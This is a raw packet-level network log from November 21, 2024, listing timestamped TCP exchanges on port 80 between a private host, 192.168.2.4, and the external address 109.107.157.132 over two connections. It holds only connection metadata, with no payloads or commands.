Nov 21, 2024 22:33:32.506377935 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.509835958 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.509912014 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.509938002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.510003090 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.513355970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.513411999 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.513417006 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.513467073 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.576783895 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.576872110 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.576890945 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.576931953 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.578496933 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.578550100 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.578656912 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.579788923 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.582051039 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.582103968 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.582144976 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.582242966 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.585625887 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.585738897 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.585792065 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.589169979 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.589236021 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.589379072 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.589433908 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.592844963 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.592896938 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.655060053 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.655071974 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.655208111 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.656543016 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.656598091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.691757917 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.692047119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.811341047 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.811759949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:32.811837912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.812112093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:32.931910038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425578117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425595045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425607920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425626040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425637960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425649881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425656080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.425662041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425674915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425683022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.425688982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425703049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.425717115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.425738096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.545351982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.545445919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.545475960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.545519114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.626620054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.626633883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.626739979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.630546093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.630603075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.632069111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.632117987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.632179022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.632221937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.640513897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.640583038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.640634060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.640681028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.648883104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.648942947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.648962975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.648978949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.657275915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.657377005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.657483101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.665623903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.665673971 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.665716887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.665782928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.674036026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.674087048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.674329996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.674381971 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.682441950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.682492018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.682589054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.682632923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.690083981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.690131903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.690196037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.690236092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.697721004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.697766066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.697823048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.697885036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.705352068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.705399036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.827621937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.827682018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.827774048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.830163002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.830275059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.830338001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.835241079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.836090088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.837125063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.837248087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.837301016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.842206001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.842255116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.842323065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.842366934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.847286940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.847342968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.847400904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.847476959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.852371931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.852422953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.852423906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.852461100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.857471943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.857567072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.857584000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.857626915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.862565041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.862615108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.862690926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.862734079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.867641926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.867711067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.867799044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.867839098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.872752905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.872798920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.872855902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.872900009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.877836943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.877897024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.877934933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.877984047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.882946014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.883016109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.883023024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.883100033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.888046026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.888127089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.888159990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.888267040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.893152952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.893203020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.893273115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.893372059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.898227930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.898346901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.898411036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.903400898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.903477907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.903525114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.908392906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.908516884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.908567905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:34.913463116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:34.916032076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.028819084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.028939009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.029016972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.030093908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.030200958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.030255079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.034563065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.034689903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.034756899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.039063931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.039113045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.039150953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.039192915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.043546915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.043662071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.043704033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.048011065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.048072100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.048116922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.048156977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.052464962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.052655935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.052696943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.056946039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.056989908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.057048082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.057111025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.061418056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.061475992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.061490059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.061516047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.065901995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.066015005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.066056967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.070333958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.070403099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.070440054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.070480108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.074837923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.074896097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.074951887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.074996948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.079329967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.079411030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.079457998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.083822012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.083879948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.083972931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.084016085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.088318110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.088387012 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.088412046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.088464022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.092798948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.092856884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.092917919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.092977047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.097383022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.097496033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.097539902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.101663113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.101774931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.101835966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.106138945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.106187105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.106244087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.106436014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.110651970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.110796928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.110856056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.115072012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.115122080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.115300894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.115348101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.119616985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.119693041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.119700909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.119730949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.124034882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.124102116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.124134064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.124176025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.128509998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.128559113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.128602982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.128647089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.132982016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.133048058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.133085012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.133125067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.138377905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.138391972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.138439894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.141963959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.142184019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.142241955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.146682978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.146693945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.146765947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.150966883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.151050091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.151117086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.151670933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.155509949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.155569077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.155812025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.155868053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.159924030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.159934998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.159986019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.230268955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.230451107 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.230531931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.232127905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.232140064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.232192039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.235392094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.235558987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.235610008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.238790989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.238852978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.238899946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.242306948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.242422104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.242470026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.247364044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.247762918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.248333931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.249134064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.249192953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.249205112 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.251771927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.252413988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.252475023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.252526045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.255822897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.256081104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.256130934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.258832932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.258881092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.259010077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.259670973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.262161970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.262208939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.262330055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.262372017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.265203953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.265213966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.265260935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.268065929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.268223047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.268273115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.271078110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.271151066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.271333933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.272052050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.274208069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.274377108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.274425983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.276906013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.277040005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.277091026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.280105114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.280116081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.280158043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.282675982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.282720089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.282854080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.283801079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.285475969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.285525084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.285550117 CET	80	49759	109.107.157.132	192.168.2.4
